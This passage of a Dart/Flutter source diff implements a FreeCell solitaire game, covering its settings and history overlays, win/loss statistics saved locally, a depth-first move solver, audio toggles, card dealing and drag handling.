'Time', + value: freeCellGame.stats.formatSeconds( + freeCellGame.elapsedSeconds.floor(), + ), + ), + _ResultStatText( + label: 'Moves', + value: '${freeCellGame.history.length}', + ), + const SizedBox(height: 18), + ElevatedButton( + onPressed: freeCellGame.restartGame, + child: const Text('Restart Game'), + ), + ], + ), + ), + ); + }, + }, + ), + ), + ); + } +} + +class _ResultStatText extends StatelessWidget { + const _ResultStatText({required this.label, required this.value}); + + final String label; + final String value; + + @override + Widget build(BuildContext context) { + return Padding( + padding: const EdgeInsets.symmetric(vertical: 2), + child: Text( + '$label: $value', + style: const TextStyle( + color: Colors.white, + fontSize: 16, + fontWeight: FontWeight.w700, + ), + ), + ); + } +} + +class SettingsOverlay extends StatefulWidget { + const SettingsOverlay({required this.game, super.key}); + + final FreeCellGame game; + + @override + State createState() => _SettingsOverlayState(); +} + +class _SettingsOverlayState extends State { + late bool bgmEnabled; + late bool sfxEnabled; + late int selectedBackgroundIndex; + + @override + void initState() { + super.initState(); + bgmEnabled = widget.game.bgmEnabled; + sfxEnabled = widget.game.sfxEnabled; + selectedBackgroundIndex = widget.game.selectedBackgroundIndex; + } + + @override + Widget build(BuildContext context) { + return Center( + child: Container( + width: min(MediaQuery.of(context).size.width - 28, 390), + padding: const EdgeInsets.fromLTRB(18, 16, 18, 18), + decoration: BoxDecoration( + color: const Color(0xFFF6EBCF), + border: Border.all(color: const Color(0xFFC9B98F), width: 2), + borderRadius: BorderRadius.circular(6), + boxShadow: [ + BoxShadow( + color: Colors.black.withValues(alpha: 0.24), + blurRadius: 18, + offset: const Offset(0, 8), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text( + 'SETTING', + style: TextStyle( + color: Color(0xFF595347), + fontSize: 18, + fontWeight: FontWeight.w900, + letterSpacing: 0, + ), + ), + const SizedBox(height: 14), + Row( + children: [ + const Expanded( + child: Text( + 'Background Music', + style: TextStyle( + color: Color(0xFF595347), + fontSize: 16, + fontWeight: FontWeight.w700, + ), + ), + ), + Switch( + value: bgmEnabled, + activeThumbColor: const Color(0xFF67B856), + activeTrackColor: const Color(0xFFB9E6A8), + onChanged: (value) { + widget.game.playSelectSound(); + setState(() => bgmEnabled = value); + widget.game.setBgmEnabled(value); + }, + ), + ], + ), + Row( + children: [ + const Expanded( + child: Text( + 'Sound Effects', + style: TextStyle( + color: Color(0xFF595347), + fontSize: 16, + fontWeight: FontWeight.w700, + ), + ), + ), + Switch( + value: sfxEnabled, + activeThumbColor: const Color(0xFF67B856), + activeTrackColor: const Color(0xFFB9E6A8), + onChanged: (value) { + widget.game.playSelectSound(); + setState(() => sfxEnabled = value); + widget.game.setSfxEnabled(value); + }, + ), + ], + ), + const SizedBox(height: 10), + const Align( + alignment: Alignment.centerLeft, + child: Text( + 'Change Background', + style: TextStyle( + color: Color(0xFF595347), + fontSize: 16, + fontWeight: FontWeight.w800, + ), + ), + ), + const SizedBox(height: 10), + GridView.builder( + shrinkWrap: true, + physics: const NeverScrollableScrollPhysics(), + itemCount: widget.game.backgroundAssets.length, + gridDelegate: const SliverGridDelegateWithFixedCrossAxisCount( + crossAxisCount: 4, + mainAxisSpacing: 10, + crossAxisSpacing: 10, + childAspectRatio: 1.35, + ), + itemBuilder: (context, index) { + final selected = selectedBackgroundIndex == index; + return GestureDetector( + onTap: () async { + widget.game.playSelectSound(); + setState(() => selectedBackgroundIndex = index); + await widget.game.setBackgroundIndex(index); + }, + child: AnimatedContainer( + duration: const Duration(milliseconds: 140), + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(5), + border: Border.all( + color: selected + ? const Color(0xFF5FAE45) + : const Color(0xFFE1D1AA), + width: selected ? 3 : 1, + ), + ), + clipBehavior: Clip.antiAlias, + child: Image.asset( + 'assets/images/${widget.game.backgroundAssets[index]}', + fit: BoxFit.cover, + errorBuilder: (context, error, stackTrace) { + return ColoredBox( + color: const Color(0xFF105A35), + child: Center( + child: Text( + '${index + 1}', + style: const TextStyle( + color: Colors.white, + fontWeight: FontWeight.bold, + ), + ), + ), + ); + }, + ), + ), + ); + }, + ), + const SizedBox(height: 18), + SizedBox( + width: 188, + height: 44, + child: ElevatedButton( + style: ElevatedButton.styleFrom( + backgroundColor: const Color(0xFF6DBA57), + foregroundColor: Colors.white, + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(6), + ), + textStyle: const TextStyle( + fontSize: 16, + fontWeight: FontWeight.w900, + ), + ), + onPressed: () { + widget.game.playSelectSound(); + widget.game.closeSettings(); + }, + child: const Text('SAVE AND EXIT'), + ), + ), + ], + ), + ), + ); + } +} + +class HistoryOverlay extends StatelessWidget { + const HistoryOverlay({required this.game, super.key}); + + final FreeCellGame game; + + @override + Widget build(BuildContext context) { + final stats = game.stats; + return Center( + child: Container( + width: min(MediaQuery.of(context).size.width - 28, 390), + padding: const EdgeInsets.fromLTRB(20, 18, 20, 18), + decoration: BoxDecoration( + color: const Color(0xFFF6EBCF), + border: Border.all(color: const Color(0xFFC9B98F), width: 2), + borderRadius: BorderRadius.circular(6), + boxShadow: [ + BoxShadow( + color: Colors.black.withValues(alpha: 0.24), + blurRadius: 18, + offset: const Offset(0, 8), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text( + 'HISTORY', + style: TextStyle( + color: Color(0xFF595347), + fontSize: 18, + fontWeight: FontWeight.w900, + letterSpacing: 0, + ), + ), + const SizedBox(height: 14), + _HistoryRow(label: 'Wins', value: '${stats.winCount}'), + _HistoryRow(label: 'Losses', value: '${stats.lossCount}'), + _HistoryRow(label: 'Unfinished', value: '${stats.unfinishedCount}'), + const Divider(height: 22, color: Color(0xFFC9B98F)), + _HistoryRow( + label: 'Fastest Win', + value: stats.formatSeconds(stats.minWinSeconds), + ), + _HistoryRow( + label: 'Slowest Win', + value: stats.formatSeconds(stats.maxWinSeconds), + ), + _HistoryRow( + label: 'Fewest Win Moves', + value: stats.formatInt(stats.minWinMoves), + ), + _HistoryRow( + label: 'Most Win Moves', + value: stats.formatInt(stats.maxWinMoves), + ), + const SizedBox(height: 18), + SizedBox( + width: 150, + height: 42, + child: ElevatedButton( + style: ElevatedButton.styleFrom( + backgroundColor: const Color(0xFF6DBA57), + foregroundColor: Colors.white, + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(6), + ), + textStyle: const TextStyle( + fontSize: 15, + fontWeight: FontWeight.w900, + ), + ), + onPressed: () { + game.playSelectSound(); + game.closeHistory(); + }, + child: const Text('CLOSE'), + ), + ), + ], + ), + ), + ); + } +} + +class _HistoryRow extends StatelessWidget { + const _HistoryRow({required this.label, required this.value}); + + final String label; + final String value; + + @override + Widget build(BuildContext context) { + return Padding( + padding: const EdgeInsets.symmetric(vertical: 5), + child: Row( + children: [ + Expanded( + child: Text( + label, + style: const TextStyle( + color: Color(0xFF595347), + fontSize: 15, + fontWeight: FontWeight.w700, + ), + ), + ), + Text( + value, + style: const TextStyle( + color: Color(0xFF3D372D), + fontSize: 15, + fontWeight: FontWeight.w900, + ), + ), + ], + ), + ); + } +} + +class FreeCellStats { + int winCount = 0; + int lossCount = 0; + int unfinishedCount = 0; + int? minWinSeconds; + int? maxWinSeconds; + int? minWinMoves; + int? maxWinMoves; + + void recordWin({required int seconds, required int moves}) { + winCount++; + minWinSeconds = _minNullable(minWinSeconds, seconds); + maxWinSeconds = _maxNullable(maxWinSeconds, seconds); + minWinMoves = _minNullable(minWinMoves, moves); + maxWinMoves = _maxNullable(maxWinMoves, moves); + } + + void recordLoss() { + lossCount++; + } + + void recordUnfinished() { + unfinishedCount++; + } + + String formatInt(int? value) => value == null ? '-' : '$value'; + + String formatSeconds(int? value) { + if (value == null) return '-'; + + final minutes = value ~/ 60; + final seconds = value % 60; + return '${minutes.toString().padLeft(2, '0')}:${seconds.toString().padLeft(2, '0')}'; + } + + static int _minNullable(int? current, int value) { + return current == null ? value : min(current, value); + } + + static int _maxNullable(int? current, int value) { + return current == null ? value : max(current, value); + } +} + +enum Suit { spade, heart, diamond, club } + +enum PileType { freeCell, foundation, tableau } + +class CardModel { + final Suit suit; + final int rank; + + const CardModel(this.suit, this.rank); + + bool get isRed => suit == Suit.heart || suit == Suit.diamond; + + String get rankText { + return switch (rank) { + 1 => 'A', + 11 => 'J', + 12 => 'Q', + 13 => 'K', + _ => '$rank', + }; + } + + String get suitText { + return switch (suit) { + Suit.spade => '♠', + Suit.heart => '♥', + Suit.diamond => '♦', + Suit.club => '♣', + }; + } + + /// 预留扑克图片路径:assets/images/cards/AS.png、10H.png、KD.png 等。 + String get imageName { + final s = switch (suit) { + Suit.spade => 'S', + Suit.heart => 'H', + Suit.diamond => 'D', + Suit.club => 'C', + }; + return '$rankText$s.png'; + } +} + +class CardPile { + CardPile({required this.type, required this.index, required this.position}); + + final PileType type; + final int index; + Vector2 position; + final List cards = []; +} + +class MoveRecord { + MoveRecord({ + required this.cards, + required this.fromPile, + required this.toPile, + }); + + final List cards; + final CardPile fromPile; + final CardPile toPile; +} + +class HintMove { + const HintMove({required this.cards, required this.target}); + + final List cards; + final CardPile target; +} + +enum _SolveStatus { solved, unsolved, unknown } + +class _SolverMove { + const _SolverMove({ + required this.fromType, + required this.fromIndex, + required this.startIndex, + required this.toType, + required this.toIndex, + }); + + final PileType fromType; + final int fromIndex; + final int startIndex; + final PileType toType; + final int toIndex; +} + +class _SolverState { + _SolverState({ + required this.tableaus, + required this.freeCells, + required this.foundations, + }); + + final List> tableaus; + final List freeCells; + final List foundations; + + _SolverState clone() { + return _SolverState( + tableaus: [for (final pile in tableaus) List.of(pile)], + freeCells: List.of(freeCells), + foundations: List.of(foundations), + ); + } + + int get foundationCount { + return foundations.fold(0, (sum, rank) => sum + rank); + } + + int get emptyFreeCellCount { + return freeCells.where((card) => card == null).length; + } + + int get emptyTableauCount { + return tableaus.where((pile) => pile.isEmpty).length; + } + + bool get isWon => foundationCount == 52; +} + +class _FreeCellSolver { + _FreeCellSolver({ + required this.initial, + this.maxDepth = 80, + this.maxVisited = 50000, + }); + + final _SolverState initial; + final int maxDepth; + final int maxVisited; + int _visitedCount = 0; + bool _exhausted = false; + + _SolveStatus solve() { + final visited = {}; + final solved = _dfs(initial, maxDepth, visited); + + if (solved) return _SolveStatus.solved; + if (_exhausted) return _SolveStatus.unknown; + return _SolveStatus.unsolved; + } + + bool _dfs(_SolverState state, int depthLeft, Set visited) { + if (state.isWon) return true; + + final moves = _moves(state); + if (moves.isEmpty) return false; + + if (depthLeft <= 0 || _visitedCount >= maxVisited) { + _exhausted = true; + return false; + } + + final key = _key(state); + if (!visited.add(key)) return false; + _visitedCount++; + + for (final move in moves) { + final next = _apply(state, move); + if (next.foundationCount > state.foundationCount) return true; + if (next.emptyTableauCount > state.emptyTableauCount) return true; + if (_dfs(next, depthLeft - 1, visited)) return true; + } + + return false; + } + + List<_SolverMove> _moves(_SolverState state) { + final moves = <_SolverMove>[]; + + for (int i = 0; i < state.freeCells.length; i++) { + final card = state.freeCells[i]; + if (card == null) continue; + + if (_canMoveToFoundation(card, state)) { + moves.add( + _SolverMove( + fromType: PileType.freeCell, + fromIndex: i, + startIndex: 0, + toType: PileType.foundation, + toIndex: _suitOf(card), + ), + ); + } + + for (int t = 0; t < state.tableaus.length; t++) { + if (_canMoveToTableau(card, state.tableaus[t])) { + moves.add( + _SolverMove( + fromType: PileType.freeCell, + fromIndex: i, + startIndex: 0, + toType: PileType.tableau, + toIndex: t, + ), + ); + } + } + } + + final emptyFreeCell = state.freeCells.indexWhere((card) => card == null); + for (int from = 0; from < state.tableaus.length; from++) { + final tableau = state.tableaus[from]; + if (tableau.isEmpty) continue; + + final top = tableau.last; + if (_canMoveToFoundation(top, state)) { + moves.add( + _SolverMove( + fromType: PileType.tableau, + fromIndex: from, + startIndex: tableau.length - 1, + toType: PileType.foundation, + toIndex: _suitOf(top), + ), + ); + } + + if (emptyFreeCell != -1) { + moves.add( + _SolverMove( + fromType: PileType.tableau, + fromIndex: from, + startIndex: tableau.length - 1, + toType: PileType.freeCell, + toIndex: emptyFreeCell, + ), + ); + } + + final maxMovableStackSize = _maxMovableStackSize(state); + for (int start = tableau.length - 1; start >= 0; start--) { + final run = tableau.sublist(start); + if (!_isOrderedRun(run)) break; + if (run.length > maxMovableStackSize) continue; + + final first = run.first; + for (int to = 0; to < state.tableaus.length; to++) { + if (to == from) continue; + final target = state.tableaus[to]; + if (target.isEmpty && start == 0) continue; + if (!_canMoveToTableau(first, target)) continue; + + moves.add( + _SolverMove( + fromType: PileType.tableau, + fromIndex: from, + startIndex: start, + toType: PileType.tableau, + toIndex: to, + ), + ); + } + } + } + + moves.sort((a, b) => _moveScore(b).compareTo(_moveScore(a))); + return moves; + } + + int _maxMovableStackSize(_SolverState state) { + return (state.emptyFreeCellCount + 1) * (1 << state.emptyTableauCount); + } + + int _moveScore(_SolverMove move) { + if (move.toType == PileType.foundation) return 100; + if (move.fromType == PileType.freeCell && move.toType == PileType.tableau) { + return 70; + } + if (move.toType == PileType.tableau) return 50; + if (move.toType == PileType.freeCell) return 20; + return 0; + } + + _SolverState _apply(_SolverState state, _SolverMove move) { + final next = state.clone(); + final moving = []; + + switch (move.fromType) { + case PileType.freeCell: + final card = next.freeCells[move.fromIndex]; + if (card != null) { + moving.add(card); + next.freeCells[move.fromIndex] = null; + } + break; + case PileType.tableau: + final from = next.tableaus[move.fromIndex]; + moving.addAll(from.sublist(move.startIndex)); + from.removeRange(move.startIndex, from.length); + break; + case PileType.foundation: + break; + } + + if (moving.isEmpty) return next; + + switch (move.toType) { + case PileType.freeCell: + next.freeCells[move.toIndex] = moving.single; + break; + case PileType.foundation: + final card = moving.single; + next.foundations[_suitOf(card)] = _rankOf(card); + break; + case PileType.tableau: + next.tableaus[move.toIndex].addAll(moving); + break; + } + + return next; + } + + String _key(_SolverState state) { + final foundation = state.foundations.join(','); + final free = [for (final card in state.freeCells) ?card]..sort(); + final columns = [for (final tableau in state.tableaus) tableau.join('.')] + ..sort(); + return '$foundation|${free.join('.')}|${columns.join('|')}'; + } + + bool _canMoveToFoundation(int card, _SolverState state) { + return state.foundations[_suitOf(card)] + 1 == _rankOf(card); + } + + bool _canMoveToTableau(int card, List tableau) { + if (tableau.isEmpty) return true; + + final top = tableau.last; + return _isRed(card) != _isRed(top) && _rankOf(card) == _rankOf(top) - 1; + } + + bool _isOrderedRun(List cards) { + if (cards.length <= 1) return true; + + for (int i = 0; i < cards.length - 1; i++) { + final upper = cards[i]; + final lower = cards[i + 1]; + if (_isRed(upper) == _isRed(lower) || + _rankOf(lower) != _rankOf(upper) - 1) { + return false; + } + } + + return true; + } + + static int encode(CardModel model) { + return model.suit.index * 13 + model.rank; + } + + static int _suitOf(int card) => (card - 1) ~/ 13; + + static int _rankOf(int card) => ((card - 1) % 13) + 1; + + static bool _isRed(int card) { + final suit = _suitOf(card); + return suit == Suit.heart.index || suit == Suit.diamond.index; + } +} + +class FreeCellGame extends FlameGame { + static const double cardWidth = 36; + static const double cardHeight = 52; + static const double gap = 8; + static const double horizontalPadding = 8; + static const double topY = 12; + static const double tableauY = 148; + static const double stackOffset = 27; + static const double moveAnimationDuration = 0.24; + static const String _bgmEnabledKey = 'freecell_bgm_enabled'; + static const String _sfxEnabledKey = 'freecell_sfx_enabled'; + static const String _backgroundIndexKey = 'freecell_background_index'; + static const String _statsWinCountKey = 'freecell_stats_win_count'; + static const String _statsLossCountKey = 'freecell_stats_loss_count'; + static const String _statsUnfinishedCountKey = + 'freecell_stats_unfinished_count'; + static const String _statsMinWinSecondsKey = 'freecell_stats_min_win_seconds'; + static const String _statsMaxWinSecondsKey = 'freecell_stats_max_win_seconds'; + static const String _statsMinWinMovesKey = 'freecell_stats_min_win_moves'; + static const String _statsMaxWinMovesKey = 'freecell_stats_max_win_moves'; + + final List freeCells = []; + final List foundations = []; + final List tableaus = []; + final List history = []; + + CardComponent? draggingCard; + List draggingCards = []; + CardPile? dragStartPile; + Vector2 dragStartPosition = Vector2.zero(); + double elapsedSeconds = 0; + int _lastDisplayedSeconds = -1; + + late TextComponent titleText; + late TextComponent timerText; + late TextComponent movesText; + late TextComponent hintText; + late HudButtonComponent undoButton; + late HudButtonComponent hintButton; + late HudButtonComponent restartButton; + late HudButtonComponent settingButton; + late HudButtonComponent historyButton; + late HintOverlayComponent hintOverlay; + late RectangleComponent backgroundFill; + SpriteComponent? backgroundSprite; + bool _hudReady = false; + List hintedCards = []; + CardPile? hintedTarget; + double _hintSecondsLeft = 0; + bool bgmEnabled = true; + bool sfxEnabled = true; + int selectedBackgroundIndex = 0; + bool _winSfxPlayed = false; + bool _lossSfxPlayed = false; + bool _gameResultRecorded = false; + int _dealGeneration = 0; + final FreeCellStats stats = FreeCellStats(); + + final List backgroundAssets = const [ + 'bg/freecell_bg.png', + 'bg/freecell_bg1.png', + 'bg/freecell_bg2.png', + 'bg/freecell_bg3.png', + ]; + + @override + Color backgroundColor() => const Color(0xFF105A35); + + Future setBackgroundIndex(int index) async { + if (index < 0 || index >= backgroundAssets.length) return; + + selectedBackgroundIndex = index; + unawaited(_saveSettings()); + try { + final bgImage = await images.load(backgroundAssets[index]); + final sprite = backgroundSprite; + if (sprite == null) { + backgroundSprite = SpriteComponent( + sprite: Sprite(bgImage), + size: size, + priority: -100, + ); + add(backgroundSprite!); + } else { + sprite.sprite = Sprite(bgImage); + sprite.size = size; + } + } catch (_) { + backgroundSprite?.removeFromParent(); + backgroundSprite = null; + } + } + + void setBgmEnabled(bool value) { + bgmEnabled = value; + unawaited(_saveSettings()); + unawaited(_applyBgmEnabled(value)); + } + + void setSfxEnabled(bool value) { + sfxEnabled = value; + unawaited(_saveSettings()); + unawaited(_applySfxEnabled(value)); + } + + void playSelectSound() { + _playSfx(SfxKey.select); + } + + void _playSfx(SfxKey key) { + unawaited(_safePlaySfx(key)); + } + + Future _setupAudio() async { + try { + await AudioManager.instance.init(); + await _applyBgmEnabled(bgmEnabled); + await _applySfxEnabled(sfxEnabled); + } catch (e) { + debugPrint('FreeCell audio setup failed: $e'); + } + } + + Future _loadSettings() async { + try { + final prefs = await SharedPreferences.getInstance(); + bgmEnabled = prefs.getBool(_bgmEnabledKey) ?? bgmEnabled; + sfxEnabled = prefs.getBool(_sfxEnabledKey) ?? sfxEnabled; + + final savedBackgroundIndex = prefs.getInt(_backgroundIndexKey); + if (savedBackgroundIndex != null && + savedBackgroundIndex >= 0 && + savedBackgroundIndex < backgroundAssets.length) { + selectedBackgroundIndex = savedBackgroundIndex; + } + + stats.winCount = prefs.getInt(_statsWinCountKey) ?? stats.winCount; + stats.lossCount = prefs.getInt(_statsLossCountKey) ?? stats.lossCount; + stats.unfinishedCount = + prefs.getInt(_statsUnfinishedCountKey) ?? stats.unfinishedCount; + stats.minWinSeconds = prefs.getInt(_statsMinWinSecondsKey); + stats.maxWinSeconds = prefs.getInt(_statsMaxWinSecondsKey); + stats.minWinMoves = prefs.getInt(_statsMinWinMovesKey); + stats.maxWinMoves = prefs.getInt(_statsMaxWinMovesKey); + } catch (e) { + debugPrint('FreeCell load settings failed: $e'); + } + } + + Future _saveSettings() async { + try { + final prefs = await SharedPreferences.getInstance(); + await prefs.setBool(_bgmEnabledKey, bgmEnabled); + await prefs.setBool(_sfxEnabledKey, sfxEnabled); + await prefs.setInt(_backgroundIndexKey, selectedBackgroundIndex); + await prefs.setInt(_statsWinCountKey, stats.winCount); + await prefs.setInt(_statsLossCountKey, stats.lossCount); + await prefs.setInt(_statsUnfinishedCountKey, stats.unfinishedCount); + await _setOptionalInt(prefs, _statsMinWinSecondsKey, stats.minWinSeconds); + await _setOptionalInt(prefs, _statsMaxWinSecondsKey, stats.maxWinSeconds); + await _setOptionalInt(prefs, _statsMinWinMovesKey, stats.minWinMoves); + await _setOptionalInt(prefs, _statsMaxWinMovesKey, stats.maxWinMoves); + } catch (e) { + debugPrint('FreeCell save settings failed: $e'); + } + } + + Future _setOptionalInt( + SharedPreferences prefs, + String key, + int? value, + ) { + if (value == null) { + return prefs.remove(key); + } + + return prefs.setInt(key, value); + } + + Future _applyBgmEnabled(bool enabled) async { + try { + await AudioManager.instance.setBgmMuted(!enabled); + if (enabled) { + await AudioManager.instance.playBgm(); + } + } catch (e) { + debugPrint('FreeCell bgm toggle failed: $e'); + } + } + + Future _applySfxEnabled(bool enabled) async { + try { + await AudioManager.instance.setSfxMuted(!enabled); + } catch (e) { + debugPrint('FreeCell sfx toggle failed: $e'); + } + } + + Future _safePlaySfx(SfxKey key) async { + if (!sfxEnabled) return; + + try { + await AudioManager.instance.playSfx(key); + } catch (e) { + debugPrint('FreeCell sfx failed: $e'); + } + } + + void openSettings() { + overlays.add('settings'); + } + + void closeSettings() { + overlays.remove('settings'); + } + + void openHistory() { + overlays.add('history'); + } + + void closeHistory() { + overlays.remove('history'); + } + + void _recordWinStats() { + if (_gameResultRecorded) return; + + stats.recordWin(seconds: elapsedSeconds.floor(), moves: history.length); + _gameResultRecorded = true; + unawaited(_saveSettings()); + } + + void _recordLossStats() { + if (_gameResultRecorded) return; + + stats.recordLoss(); + _gameResultRecorded = true; + unawaited(_saveSettings()); + } + + void _recordUnfinishedStats() { + if (_gameResultRecorded) return; + + stats.recordUnfinished(); + _gameResultRecorded = true; + unawaited(_saveSettings()); + } + + @override + Future onLoad() async { + await super.onLoad(); + await _loadSettings(); + unawaited(_setupAudio()); + + backgroundFill = RectangleComponent( + size: size, + paint: Paint()..color = const Color(0xFF105A35), + priority: -101, + ); + add(backgroundFill); + await setBackgroundIndex(selectedBackgroundIndex); + + titleText = TextComponent( + text: 'FREECELL', + position: Vector2(size.x / 2, 8), + anchor: Anchor.topCenter, + priority: 1000, + textRenderer: TextPaint( + style: const TextStyle( + color: Colors.white, + fontSize: 18, + fontWeight: FontWeight.bold, + ), + ), + ); + + timerText = TextComponent( + text: '00:00', + position: Vector2(10, 10), + anchor: Anchor.topLeft, + priority: 1000, + textRenderer: TextPaint( + style: const TextStyle( + color: Colors.white, + fontSize: 13, + fontWeight: FontWeight.bold, + ), + ), + ); + + movesText = TextComponent( + text: 'Moves 0', + position: Vector2(size.x - 10, 10), + anchor: Anchor.topRight, + priority: 1000, + textRenderer: TextPaint( + style: const TextStyle( + color: Colors.white, + fontSize: 13, + fontWeight: FontWeight.bold, + ), + ), + ); + + hintText = TextComponent( + text: 'Drag top cards. Double tap to auto move.', + position: Vector2(size.x / 2, size.y - 54), + anchor: Anchor.center, + priority: 1000, + textRenderer: TextPaint( + style: const TextStyle(color: Colors.white70, fontSize: 13), + ), + ); + + add(titleText); + add(timerText); + add(movesText); + add(hintText); + undoButton = HudButtonComponent( + label: 'UNDO', + onPressed: (game) => game.undo(), + ); + hintButton = HudButtonComponent( + label: 'HINT', + onPressed: (game) => game.showHint(), + ); + restartButton = HudButtonComponent( + label: 'RESTART', + onPressed: (game) => game.restartGame(), + ); + settingButton = HudButtonComponent( + label: 'SETTING', + onPressed: (game) => game.openSettings(), + ); + historyButton = HudButtonComponent( + label: 'HISTORY', + onPressed: (game) => game.openHistory(), + ); + hintOverlay = HintOverlayComponent(); + add(undoButton); + add(hintButton); + add(restartButton); + add(settingButton); + add(historyButton); + add(hintOverlay); + _hudReady = true; + _positionHud(); + _refreshHud(force: true); + + _createPiles(); + restartGame(recordUnfinished: false); + } + + @override + void onRemove() { + unawaited(AudioManager.instance.stopBgm()); + super.onRemove(); + } + + @override + void update(double dt) { + super.update(dt); + + if (!_hudReady) return; + if (isWon || overlays.isActive('lose')) return; + elapsedSeconds += dt; + if (_hintSecondsLeft > 0) { + _hintSecondsLeft -= dt; + if (_hintSecondsLeft <= 0) { + clearHint(); + } + } + _refreshHud(); + } + + @override + void onGameResize(Vector2 size) { + super.onGameResize(size); + + if (!_hudReady) return; + backgroundFill.size = size; + backgroundSprite?.size = size; + _positionHud(); + _positionPiles(); + _layoutAll(); + } + + void _positionHud() { + if (!_hudReady) return; + + titleText.position = Vector2(size.x / 2, 8); + timerText.position = Vector2(10, 10); + movesText.position = Vector2(size.x - 10, 10); + hintText.position = Vector2(size.x / 2, size.y - 58); + final buttonY = size.y - 30; + const buttonStep = 70.0; + undoButton.position = Vector2(size.x / 2 - buttonStep * 2, buttonY); + hintButton.position = Vector2(size.x / 2 - buttonStep, buttonY); + restartButton.position = Vector2(size.x / 2, buttonY); + settingButton.position = Vector2(size.x / 2 + buttonStep, buttonY); + historyButton.position = Vector2(size.x / 2 + buttonStep * 2, buttonY); + } + + void _refreshHud({bool force = false}) { + if (!_hudReady) return; + + final seconds = elapsedSeconds.floor(); + if (force || seconds != _lastDisplayedSeconds) { + _lastDisplayedSeconds = seconds; + final minutes = seconds ~/ 60; + final restSeconds = seconds % 60; + timerText.text = + '${minutes.toString().padLeft(2, '0')}:${restSeconds.toString().padLeft(2, '0')}'; + } + + movesText.text = 'Moves ${history.length}'; + undoButton.enabled = history.isNotEmpty && !isGameOver; + hintButton.enabled = _findLegalMoveForLoseCheck() != null && !isGameOver; + restartButton.enabled = true; + settingButton.enabled = true; + historyButton.enabled = true; + } + + double _columnGap(double safeWidth) { + final availableGap = + (safeWidth - horizontalPadding * 2 - cardWidth * 8) / 7; + return availableGap.clamp(2.0, gap); + } + + void _createPiles() { + freeCells.clear(); + foundations.clear(); + tableaus.clear(); + + for (int i = 0; i < 4; i++) { + freeCells.add( + CardPile(type: PileType.freeCell, index: i, position: Vector2.zero()), + ); + } + + for (int i = 0; i < 4; i++) { + foundations.add( + CardPile(type: PileType.foundation, index: i, position: Vector2.zero()), + ); + } + + for (int i = 0; i < 8; i++) { + tableaus.add( + CardPile(type: PileType.tableau, index: i, position: Vector2.zero()), + ); + } + + _positionPiles(); + + for (final pile in [...freeCells, ...foundations, ...tableaus]) { + add(PileSlotComponent(pile)); + } + } + + void _positionPiles() { + if (freeCells.isEmpty || foundations.isEmpty || tableaus.isEmpty) return; + + final rowGap = _columnGap(size.x); + final step = cardWidth + rowGap; + final usedWidth = cardWidth * 8 + rowGap * 7; + final startX = max(horizontalPadding, (size.x - usedWidth) / 2); + final topPileY = topY + 24; + + for (int i = 0; i < freeCells.length; i++) { + freeCells[i].position = Vector2(startX + i * step, topPileY); + } + + for (int i = 0; i < foundations.length; i++) { + foundations[i].position = Vector2(startX + (i + 4) * step, topPileY); + } + + for (int i = 0; i < tableaus.length; i++) { + tableaus[i].position = Vector2(startX + i * step, tableauY); + } + } + + Future _dealCards({required int generation}) async { + if (generation != _dealGeneration) return; + + final deck = []; + for (final suit in Suit.values) { + for (int rank = 1; rank <= 13; rank++) { + deck.add(CardModel(suit, rank)); + } + } + deck.shuffle(Random()); + _playSfx(SfxKey.shuffle); + + for (int i = 0; i < deck.length; i++) { + final pile = tableaus[i % tableaus.length]; + final card = CardComponent(deck[i], pile); + pile.cards.add(card); + add(card); + } + + final dealtCards = []; + final dealOrigin = Vector2(size.x / 2 - cardWidth / 2, -cardHeight - 8); + + for (final pile in tableaus) { + for (final card in pile.cards) { + dealtCards.add(card); + card.position = dealOrigin.clone(); + } + } + + _layoutAll(skip: dealtCards.toSet()); + for (int i = 0; i < dealtCards.length; i++) { + final card = dealtCards[i]; + card.animateTo( + _restPositionFor(card), + duration: 0.32, + delay: i * 0.025, + endPriority: _restPriorityFor(card), + ); + } + await Future.delayed(const Duration(milliseconds: 1700)); + if (generation != _dealGeneration) return; + _autoMoveAvailableToFoundations(record: false); + } + + void restartGame({bool recordUnfinished = true}) { + final generation = ++_dealGeneration; + + if (recordUnfinished) { + _recordUnfinishedStats(); + } + + overlays.remove('win'); + overlays.remove('lose'); + overlays.remove('history'); + clearHint(); + _winSfxPlayed = false; + _lossSfxPlayed = false; + _gameResultRecorded = false; + + for (final card in children.whereType().toList()) { + card.removeFromParent(); + } + + for (final pile in [...freeCells, ...foundations, ...tableaus]) { + pile.cards.clear(); + } + + history.clear(); + draggingCard = null; + draggingCards = []; + dragStartPile = null; + elapsedSeconds = 0; + _lastDisplayedSeconds = -1; + _refreshHud(force: true); + + _dealCards(generation: generation); + } + + bool isTopCard(CardComponent card) { + return card.pile.cards.isNotEmpty && card.pile.cards.last == card; + } + + bool _isOrderedPair(CardModel upper, CardModel lower) { + return upper.isRed != lower.isRed && lower.rank == upper.rank - 1; + } + + bool _isOrderedRun(List cards) { + if (cards.length <= 1) return true; + + for (int i = 0; i < cards.length - 1; i++) { + if (!_isOrderedPair(cards[i].model, cards[i + 1].model)) { + return false; + } + } + + return true; + } + + List _movableRunFrom(CardComponent card) { + if (isGameOver) return const []; + + final pile = card.pile; + final index = pile.cards.indexOf(card); + if (index == -1) return const []; + + final run = pile.cards.sublist(index); + if (run.any((card) => card.isAnimating)) return const []; + + if (pile.type != PileType.tableau) { + return run.length == 1 ? run : const []; + } + + return _isOrderedRun(run) ? run : const []; + } + + void startDrag(CardComponent card) { + if (isGameOver) return; + + final run = _movableRunFrom(card); + if (run.isEmpty) return; + _playSfx(SfxKey.select); + + draggingCard = card; + draggingCards = run; + dragStartPile = card.pile; + dragStartPosition = card.position.clone(); + for (int i = 0; i < draggingCards.length; i++) { + draggingCards[i].priority = 999 + i; + } + } + + void updateDrag(Vector2 delta) { + if (isGameOver) return; + + for (final card in draggingCards) { + card.position.add(delta); + } + } + + void endDrag() { + final card = draggingCard; + final fromPile = dragStartPile; + if (card == null || fromPile == null || draggingCards.isEmpty) return; + + if (isGameOver) { + _layoutAll(); + draggingCard = null; + draggingCards = []; + dragStartPile = null; + return; + } + + final target = _findTargetPile(card); + if (target != null && canMoveCards(draggingCards, target)) { + moveCards(draggingCards, target, record: true); + } else { + _layoutAll(); + } + + draggingCard = null; + draggingCards = []; + dragStartPile = null; + checkGameState(); + } + + CardPile? _findTargetPile(CardComponent card) { + final center = 